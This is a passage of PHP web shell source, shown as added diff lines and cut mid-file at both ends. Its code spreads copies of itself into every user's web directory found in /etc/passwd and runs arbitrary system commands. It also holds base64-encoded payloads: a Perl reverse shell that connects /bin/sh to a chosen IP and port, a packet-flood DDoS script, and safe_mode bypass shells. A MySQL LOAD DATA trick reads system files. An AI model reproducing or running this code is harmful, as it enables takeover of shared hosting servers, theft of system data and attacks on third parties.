        "; +} +else { +$FileOpen = @fopen("DIR.txt","a"); +if ($FileOpen) { +foreach($lines as $line_num=>$line){ +$sprt=explode(":",$line); +$user=$sprt[0]; +@fwrite($FileOpen,("home/$user/public_html\n")); +} +@fclose($FileOpen); + $fp6 = @fopen("DIR.txt", 'r'); + if (!$fp6) + { + echo "[+] DIR.TXT Doesn't Exist, Please Try Again Later .
        "; + } + else { + while (!feof($fp6)) + { + $order = fgetss($fp6,500); + } + rewind($fp6); + while (!feof($fp6)) + { + $order = fgetcsv($fp6, 500); + if(is_array($order)) + { + foreach($order as $content) { + $dirr = ''; + for ($i=0;$i<=11;$i++) + { + $test = @opendir("$dirr$content"); + if (!$test){ + $dirr = $dirr . '../'; + } + } + if (!$test){ + echo "[+] Directory Doesn't Exist .
        "; + } + else { + @CopySheller("$dirr$content"); + @CopySheller("$dirr$content/images"); + @CopySheller("$dirr$content/include"); + @CopySheller("$dirr$content/tmp"); + @CopySheller("$dirr$content/template"); + } + } + } + } + @fclose($fp6); + } +} +else { +echo "[+] No Perm To Create DIR.TXT File, Don't Try Again There Is No Perm .
        "; +} +} +} +####################################################################### +if (isset($_POST['Submit3'])) +{ +$SH_TXT_Check = (@$_POST['shellerURL']); +if ($SH_TXT_Check == '') +{ +echo '[+] Plz Enter The Sheller URL .'; +} +else +{ +@unlink('DIR.txt'); +START_Process(); +} +} +####################################################################### +if (isset($_POST['Submit4'])) +{ +$IName = (@$_POST['IndexName']); +if ($IName == '') { +echo '[+] Plz Insert Index Name, For Previous Directory Use ( ../ ) Symbol .
        '; +} +else { +$CMD = ''; +$FFP = @fopen($IName,"a"); +$fWrite = @fwrite($FFP, $CMD); +if ($fWrite) { +echo "[+] CMD Sheller Successful Inj3cted .
        "; +} +else { +echo "[+] No Perm !
        "; +} +} +} + +if (isset($_POST['Submit5'])) +{ +$MD = (@$_POST['ManuelDIR']); +if ($MD == '') { + +echo '[+] Plz Insert Correct Directory, For Example : home/root/public_html .
        '; + +} else { + $dirr = ''; + for ($i=0;$i<=11;$i++) + { + $test = @opendir("$dirr$MD"); + if (!$test){ + $dirr = $dirr . '../'; + } + } + if (!$test){ + echo "[+] Directory Doesn't Exist .
        "; + } + else { + @CopySheller("$dirr$MD"); + @CopySheller("$dirr$MD/images"); + @CopySheller("$dirr$MD/include"); + @CopySheller("$dirr$MD/admin"); + @CopySheller("$dirr$MD/login"); + @CopySheller("$dirr$MD/tmp"); + @CopySheller("$dirr$MD/template"); + } +} +} +if (isset($_POST['Submit6'])) { +$cmdCommand = @$_REQUEST['CMDTXT']; +$Item = @$_POST['CMDSelect']; +echo "
        ";
        +switch ($Item)
        +{
        +case 'system' :
        +if($cmdCommand != '') print system($cmdCommand);
        +break;
        +case 'exec' :
        +if($cmdCommand != '') print exec($cmdCommand);
        +break;
        +case 'passthru' :
        +if($cmdCommand != '') print passthru($cmdCommand);
        +break;
        +case 'shell_exec' :
        +if($cmdCommand != '') print shell_exec($cmdCommand);
        +break;
        +}
        +echo "
        "; +} +if (isset($_POST['Submit7'])) { +$lines=@file('/etc/passwd'); +if (!$lines) { +$authp = @popen("/bin/cat /etc/passwd", "r"); +$i = 0; +while (!feof($authp)) +$aresult[$i++] = fgets($authp, 4096); +$lines = $aresult; +@pclose($authp); +} +if (!$lines) { +$EtcUrl = @$_REQUEST['ManuelDIR']; +$lines=@file("$EtcUrl"); +} +if (!$lines) { +echo "[+] Can't Open /etc/passwd File .
        "; +} +else { +foreach($lines as $line_num=>$line){ +$sprt=explode(":",$line); +$user=$sprt[0]; +echo "$user
        "; +} +} +} +if (isset($_POST['Submit8'])) { +$IP = @$_REQUEST['IP_TextBox']; +$Port = @$_REQUEST['Port_TextBox']; +#===========================Create BackConnect===========================# +$fileS = base64_decode("IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRob3N0ID0gJEFSR1ZbMF07CiRw +b3J0ID0gJEFSR1ZbMV07CiAgICBpZiAoISRBUkdWWzBdKSB7CiAgcHJpbnRmICJb +IV0gVXNhZ2U6IHBlcmwgZGMucGwgPEhvc3Q+IDxQb3J0PlxuIjsKICBleGl0KDEp +Owp9CnByaW50ICJbK10gQ29ubmVjdGluZyB0byAkaG9zdFxuIjsKJHByb3QgPSBn +ZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNP +Q0tfU1RSRUFNLCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0 +ICEiKTsKaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBv +cnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGllKCJbLV0gVW5hYmxlIHRvIENvbm5l +Y3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwogIG9wZW4oU1RET1VU +LCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwpleGVjIHsn +L2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDs="); +$fpS = @fopen("dc.pl",'w'); +$fwS = @fwrite($fpS,$fileS); +if ($fwS) { +echo "
        ";
        +echo @shell_exec("perl dc.pl $IP $Port");
        +echo "
        "; +@unlink("dc.pl"); +} +else { +Echo "[+] No Perm !
        "; +} +@fclose($fpS); +#===========================Create BackConnect===========================# + +} +if (isset($_POST['SQL_BTN'])) { +$server = @$_POST['server_txt']; +$port = @$_POST['port_txt']; +$user = @$_POST['login_txt']; +$pass = @$_POST['pass_txt']; +$db = @$_POST['db_txt']; +$tb = @$_POST['tb_txt']; +@file_get_contents('/etc/passwd'); +$l = @mysql_connect("$server", "$user", "$pass") or die('No Connection'); +mysql_query("CREATE DATABASE $db"); +mysql_query("CREATE TABLE $db.$tb (Valuess varchar(1024))"); +mysql_query("GRANT SELECT,INSERT ON $db.$tb TO $user@$server"); +mysql_close($l); mysql_connect("$server", "$user", "$pass") or die('No Connection'); +mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE $db.$tb"); +$result = mysql_query("SELECT Valuess FROM $db.$tb"); +while(list($row) = mysql_fetch_row($result)) +print $row . chr(10); +echo "
        ";
        +echo $result;
        +echo "
        "; +} +if (isset($_POST['ddos_start'])) { +$fileS = base64_decode("IyEvdXNyL2Jpbi9wZXJsCiNzb2NrMSBVRFAKI3NvY2syIElHTVAKI3NvY2szIElD +TVAKI3NvY2s0IFRDUAojc29jazUgYnVneSBwYWNrZXRzCgp1c2UgU29ja2V0OwoK +JEFSR0M9QEFSR1Y7CgppZiAoJEFSR0MgIT0zKSB7CiBwcmludGYgIlxuIjsKIHBy +aW50ZiAiIC0tPT0gV2VsY29tZSB0byBJSFNURUFNIFByaXY4IFRvb2xzID09LS0g +XG5cbiI7CiBwcmludGYgIiQwIDxpcD4gPHBvcnQ+IDx0aW1lPlxuXG4iOwogcHJp +bnRmICIgRm9yIEZVQ0sgdGhlIHRhcmdldCB1c2UgVGhpcyBleGFtcGxlIDpcblxu +IjsKIHByaW50ZiAiJDAgPGlwPiAwIDBcblxuIjsKIHByaW50ZiAiJDAgPGlwPiAy +IDJcblxuIjsKIHByaW50ZiAiaWYgcG9ydCA9IDAsMiBhbmQgdGltZSA9IDAsMiB0 +aGF0IG1lYW5zLCByYW5kcG9ydHMvY29udGlub3VzIHBhY2tldHMuXG5cbiI7CiBl +eGl0KDEpOwp9CgpteSAoJGlwLCRwb3J0LCRzaXplLCR0aW1lKTsKJGlwPSRBUkdW +WzBdOwokcG9ydD0kQVJHVlsxXTsKJHRpbWU9JEFSR1ZbMl07Cgpzb2NrZXQoU09D +SzEsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsKc29ja2V0KFNPQ0syLCBQRl9J +TkVULCBTT0NLX1JBVywgMik7CnNvY2tldChTT0NLMywgUEZfSU5FVCwgU09DS19S +QVcsIDEpOwpzb2NrZXQoU09DSzQsIFBGX0lORVQsIFNPQ0tfUkFXLCA2KTsKJGlh +ZGRyID0gaW5ldF9hdG9uKCIkaXAiKTsKCnByaW50ZiAiQXR0YWNrIFN0YXJ0IEZV +Q0sgdSAkaXBcbiI7CgppZiAoJEFSR1ZbMV0gPT0wICYmICRBUkdWWzJdID09MCkg +ewogICBnb3RvIHJhbmRwYWNrZXRzOwp9CgppZiAoJEFSR1ZbMV0gIT0wICYmICRB +UkdWWzJdID09MCkgewogICBnb3RvIHBhY2tldDsKfQoKaWYgKCRBUkdWWzFdID09 +MiAmJiAkQVJHVlsyXSA9PTIpIHsKICAgIGdvdG8gcmFuZHBhY2tldDsKfQoKCnBh +Y2tldDoKZm9yKDs7KSB7CiAgICRzaXplPSRyYW5kIHggJHJhbmQgeCAkcmFuZDsK +ICAgc2VuZChTT0NLMSwgMCwgJHNpemUsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFk +ZHIpKTsKICAgc2VuZChTT0NLMiwgMCwgJHNpemUsIHNvY2thZGRyX2luKCRwb3J0 +LCAkaWFkZHIpKTsKICAgc2VuZChTT0NLMywgMCwgJHNpemUsIHNvY2thZGRyX2lu +KCRwb3J0LCAkaWFkZHIpKTsKICAgI3NlbmQoU09DSzQsIDAsICRzaXplLCBzb2Nr +YWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7Cn0KCgpyYW5kcGFja2V0Ogpmb3IoOzsp +IHsKICAgJHNpemU9JHJhbmQgeCAkcmFuZCB4ICRyYW5kOwogICAkcG9ydD1pbnQo +cmFuZCA2NTAwMCkrMTsKICAgZm9yKCRpID0gMzsgJGkgPD0gMjU1OyAkaSsrKSB7 +CiAgICAgICBuZXh0IGlmICRpID09IDY7CiAgICAgICBzb2NrZXQoU09DSzUsIFBG +X0lORVQsIFNPQ0tfUkFXLCAkaSkgb3IgbmV4dDsKICAgICAgIHNlbmQoU09DSzUs +IDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7CiAgIH0KfSAK +CnJhbmRwYWNrZXRzOgpmb3IoOzspIHsKICAgJHNpemU9JHJhbmQgeCAkcmFuZCB4 +ICRyYW5kOwogICAkcG9ydD1pbnQocmFuZCA2NTAwMCkgKzE7CiAgIHNlbmQoU09D +SzEsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7CiAgIHNl +bmQoU09DSzIsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSk7 +CiAgIHNlbmQoU09DSzMsIDAsICRzaXplLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlh +ZGRyKSk7CiAgICNzZW5kKFNPQ0s0LCAwLCAkc2l6ZSwgc29ja2FkZHJfaW4oJHBv +cnQsICRpYWRkcikpOwp9"); +$fpS = @fopen("DDos.pl",'w'); +$fwS = @fwrite($fpS,$fileS); +if ($fwS) { +$d_host = @$_POST['ddos_host']; +$d_port = @$_POST['ddos_port']; +$d_packet = @$_POST['ddos_packet']; +echo "
        ";
        +echo @shell_exec("perl DDos.pl $d_host $d_port $d_packet");
        +echo "
        "; +@fclose($fpS); +@unlink("DDos.pl"); +} +else { +Echo "[+] No Perm !
        "; +} +} + +function CreateByPasser($ByPasserFile) { +$Version = @phpversion(); +$fileS = base64_decode("$ByPasserFile"); +$fpS = @fopen("$Version.php",'w'); +$fwS = @fwrite($fpS,$fileS); +if ($fwS) { +echo "[+] ByPasser Successful Created : $Version.php"; +} +else { +Echo "[+] No Perm !
        "; +} +@fclose($fpS); +} +if (isset($_POST['Submit11'])) { +$Version = @phpversion(); +switch ($Version) { +case '4.4.2' or '5.1.2' : +CreateByPasser('PGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRl +bnQ9ImVuLXVzIj4KPC9oZWFkPgo8U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsg +Q09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Ny +b2xsYmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29s +b3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7 +IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFy +a3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAj +MTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFt +aWx5OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBG +T05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0 +ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdFSUdIVDogbm9ybWFs +OyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVD +T1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsg +Q09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09S +QVRJT046IG5vbmU7fUEuTGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNP +UkFUSU9OOiBub25lO31BLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9y +bWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOmhv +dmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5l +O30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6 +MnB4IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFt +aWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2 +aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6 +IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFj +a2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7 +dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxp +Z2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNp +emU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6 +MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xv +cjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250 +LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFy +ZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNv +bG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29s +aWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZv +bnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9t +YTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNv +bG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZv +bnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31vcHRp +b24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBj +b2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNv +bGlkICM2NjY2NjY7fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsg +Zm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFo +b21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lOLVRPUDogMHB4 +OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVv +dGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQs +IEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVt +OyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJp +Z2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNC +N0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6 +ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29s +b3I6ICMwMDAwMDA7fTwvc3R5bGU+CjxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250 +IGZhY2U9IldlYmRpbmdzIiBzaXplPSI2IiBjb2xvcj0iI0ZGMDAwMCI+ITwvZm9u +dD48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSI1IiBjb2xvcj0iI0RBREFEQSI+ +PGEgaHJlZj0iPwkiPjxzcGFuIHN0eWxlPSJjb2xvcjogI0RBREFEQTsgdGV4dC1k +ZWNvcmF0aW9uOiBub25lOyBmb250LXdlaWdodDo3MDAiPjxmb250IGZhY2U9IlRp +bWVzIE5ldyBSb21hbiI+U2FmZSAKTW9kZSBTaGVsbCB2MS4wPC9mb250Pjwvc3Bh +bj48L2E+PC9mb250Pjxmb250IGZhY2U9IldlYmRpbmdzIiBzaXplPSI2IiBjb2xv +cj0iI0ZGMDAwMCI+ITwvZm9udD48L2I+PC9wPgo8Zm9ybSBtZXRob2Q9IlBPU1Qi +PgoJPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZp +bGUiIHNpemU9IjIwIj4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJPcGVu +IiBuYW1lPSJCMSI+PC9wPgo8L2Zvcm0+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJ +CTxwIGFsaWduPSJjZW50ZXIiPjxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT0iZmlsZSI+ +CgkJPG9wdGlvbiB2YWx1ZT0iL2V0Yy9wYXNzd2QiPkdldCAvZXRjL3Bhc3N3ZDwv +b3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9Ii92YXIvY3BhbmVsL2FjY291bnRpbmcu +bG9nIj5WaWV3IGNwYW5lbCBsb2dzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0i +L2V0Yy9zeXNsb2cuY29uZiI+U3lzbG9nIGNvbmZpZ3VyYXRpb248L29wdGlvbj4K +CQk8b3B0aW9uIHZhbHVlPSIvZXRjL2hvc3RzIj5Ib3N0czwvb3B0aW9uPgoJCTwv +c2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIG5hbWU9IkIx +Ij48L3A+Cgk8L2Zvcm0+Cjw/cGhwCmVjaG8gIjxoZWFkPjx0aXRsZT5TYWZlIE1v +ZGUgU2hlbGw8L3RpdGxlPjwvaGVhZD4iOyAKJHR5bWN6YXM9Ii4vIjsgLy8gU2V0 +ICR0eW1jemFzIHRvIGRpciB3aGVyZSB5b3UgaGF2ZSA3NzcgbGlrZSAvdmFyL3Rt +cAppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9n +ZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSB0cnVlOwog +JGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPk9OIChzZWN1cmUpPC9m +b250PiI7Cn0KZWxzZSB7JHNhZmVtb2RlID0gZmFsc2U7ICRoc2FmZW1vZGUgPSAi +PGZvbnQgY29sb3I9XCJncmVlblwiPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9 +CmVjaG8oIlNhZmUtbW9kZTogJGhzYWZlbW9kZSIpOwokdiA9IEBpbmlfZ2V0KCJv +cGVuX2Jhc2VkaXIiKTsKaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIp +IHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNv +bG9yPVwicmVkXCI+Ii4kdi4iPC9mb250PiI7fQplbHNlIHskb3BlbmJhc2VkaXIg +PSBmYWxzZTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+ +T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KZWNobygiPGJyPiIpOwplY2hvKCJP +cGVuIGJhc2UgZGlyOiAkaG9wZW5iYXNlZGlyIik7CmVjaG8oIjxicj4iKTsKZWNo +byAiRGlzYWJsZSBmdW5jdGlvbnMgOiA8Yj4iOwppZignJz09KCRkZj1AaW5pX2dl +dCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVu +Pk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRk +ZjwvZm9udD48L2I+Ijt9CiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7Cmlm +ICghJGZyZWUpIHskZnJlZSA9IDA7fQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2Uo +JGRpcik7CmlmICghJGFsbCkgeyRhbGwgPSAwO30KJHVzZWQgPSAkYWxsLSRmcmVl +OwokdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CmVj +aG8gIjxQUkU+XG4iOwppZihlbXB0eSgkZmlsZSkpewppZihlbXB0eSgkX0dFVFsn +ZmlsZSddKSl7CmlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSl7CmRpZSgiXG5XZWxj +b21lLi4gQnkgVGhpcyBzY3JpcHQgeW91IGNhbiBqdW1wIGluIHRoZSAoU2FmZSBN +b2RlPU9OKSAuLiBFbmpveVxuIDxCPjxDRU5URVI+PEZPTlQKQ09MT1I9XCJSRURc +Ij5QSFAgRW1wZXJvcgp4YjVAaG90bWFpbC5jb208L0ZPTlQ+PC9DRU5URVI+PC9C +PiIpOwp9IGVsc2UgewokZmlsZT0kX1BPU1RbJ2ZpbGUnXTsKfQp9IGVsc2Ugewok +ZmlsZT0kX0dFVFsnZmlsZSddOwp9Cn0KJHRlbXA9dGVtcG5hbSgkdHltY3phcywg +ImN4Iik7CmlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmaWxlLCAkdGVtcCkp +ewokenJvZGxvID0gZm9wZW4oJHRlbXAsICJyIik7CiR0ZWtzdCA9IGZyZWFkKCR6 +cm9kbG8sIGZpbGVzaXplKCR0ZW1wKSk7CmZjbG9zZSgkenJvZGxvKTsKZWNobyAi +PEI+LS0tIFN0YXJ0IEZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iCi0t +LS0tLS0tLS0tLS08L0I+XG4iLmh0bWxzcGVjaWFsY2hhcnMoJHRla3N0KS4iXG48 +Qj4tLS0gRW5kIEZpbGUKIi5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iIC0tLS0t +LS0tLS0tLS0tLVxuIjsKdW5saW5rKCR0ZW1wKTsKZGllKCJcbjxGT05UIENPTE9S +PVwiUkVEXCI+PEI+RmlsZQoiLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLiIgaGFz +IGJlZW4gYWxyZWFkeSBsb2FkZWQuIFBIUCBFbXBlcm9yIDx4YjVAaG90bWFpbC5j +b20+CjtdPC9CPjwvRk9OVD4iKTsKfSBlbHNlIHsKZGllKCI8Rk9OVCBDT0xPUj1c +IlJFRFwiPjxDRU5URVI+U29ycnkuLi4gRmlsZQo8Qj4iLmh0bWxzcGVjaWFsY2hh +cnMoJGZpbGUpLiI8L0I+IGRvc2VuJ3QgZXhpc3RzIG9yIHlvdSBkb24ndCBoYXZl +CmFjY2Vzcy48L0NFTlRFUj48L0ZPTlQ+Iik7Cn0KPz4='); +break; +case '5.2.5' : +CreateByPasser('PD9waHAKaWYgKCRfR0VUWyd4J10pIHsgaW5jbHVkZSgkX0dFVFsneCddKTsgfQpp +ZiAoJF9QT1NUWydjeGMnXT09J2Rvd24nKSB7CmhlYWRlcigiQ29udGVudC1kaXNw +b3NpdGlvbjogZmlsZW5hbWU9ZGVjb2RlLnR4dCIpOwpoZWFkZXIoIkNvbnRlbnQt +dHlwZTogYXBwbGljYXRpb24vb2N0ZXRzdHJlYW0iKTsKaGVhZGVyKCJQcmFnbWE6 +IG5vLWNhY2hlIik7CmhlYWRlcigiRXhwaXJlczogMCIpOwplcnJvcl9yZXBvcnRp +bmcoMCk7CmVjaG8gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3hDb2QnXSk7CmV4aXQ7 +Cn0KPz4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+U2l5YW51ci5QSFAgNS4yLjYgLyA1 +LjIuNiBzYWZlX21vZGUgSGFuZGxlciBieXBhc3MgKEJldGEgRnJlZSBFZGl0aW9u +KSAgLSBQb3dlcmVkIEJ5IE1lY1RydXk8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5IGJn +Y29sb3I9IiMwMDAwMDAiPgo8Zm9udCBjb2xvcj1GRjgwMDA+Cjxmb250IGZhY2U9 +dmVyZGFuYT4KPD9waHAKaWYgKGVtcHR5KCRfUE9TVFsncGhwaW5mbyddICkpIHsK +CX1lbHNlewoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1 +bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkiOwoJZXhpdDsKfQpmdW5jdGlv +biBnZXRzeXN0ZW0oKQp7cmV0dXJuIHBocF91bmFtZSgncycpLiIgIi5waHBfdW5h +bWUoJ3InKS4iICIucGhwX3VuYW1lKCd2Jyk7fTsgCmZ1bmN0aW9uIHNhZmVfbW9k +ZSgpewppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjaDBsZCIp +LCJoMGxkIikhPTMpeyRfU0VTU0lPTlsnc2FmZV9tb2RlJ10gPSAxO3JldHVybiAi +PGI+PGZvbnQgY29sb3I9IzgwMDAwMCBmYWNlPVZlcmRhbmE+T048L2ZvbnQ+PC9i +PiI7fWVsc2V7ICAgJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDA7cmV0dXJuICI8 +Zm9udCBjb2xvcj0jMDA4MDAwPjxiPk9GRjwvYj48L2ZvbnQ+Ijt9Cn07ZnVuY3Rp +b24gZXgoJGluKXsKJG91dCA9ICcnOwppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMn +KSl7ZXhlYygkaW4sJG91dCk7JG91dCA9IGpvaW4oIlxuIiwkb3V0KTt9ZWxzZWlm +KGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7b2Jfc3RhcnQoKTtwYXNzdGhy +dSgkaW4pOyRvdXQgPSBvYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9 +CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtvYl9zdGFydCgpO3N5 +c3RlbSgkaW4pOyRvdXQgPSBvYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4o +KTt9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JG91dCA9 +IHNoZWxsX2V4ZWMoJGluKTt9CmVsc2VpZihpc19yZXNvdXJjZSgkZiA9IHBvcGVu +KCRpbiwiciIpKSl7JG91dCA9ICIiO3doaWxlKCFAZmVvZigkZikpIHsgJG91dCAu +PSBmcmVhZCgkZiwxMDI0KTt9CnBjbG9zZSgkZik7fQpyZXR1cm4gJG91dDt9Cj8+ +CiAgPHRyPgogICAgPHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjQzIj4KCiAgICA8 +dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi +IGJvcmRlcmNvbG9yPSIjNTQ1NDU0IiB3aWR0aD0iMTAwJSIgaWQ9IkF1dG9OdW1i +ZXIyIiBiZ2NvbG9yPSIjNDI0MjQyIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBj +b2xsYXBzZSI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIGJn 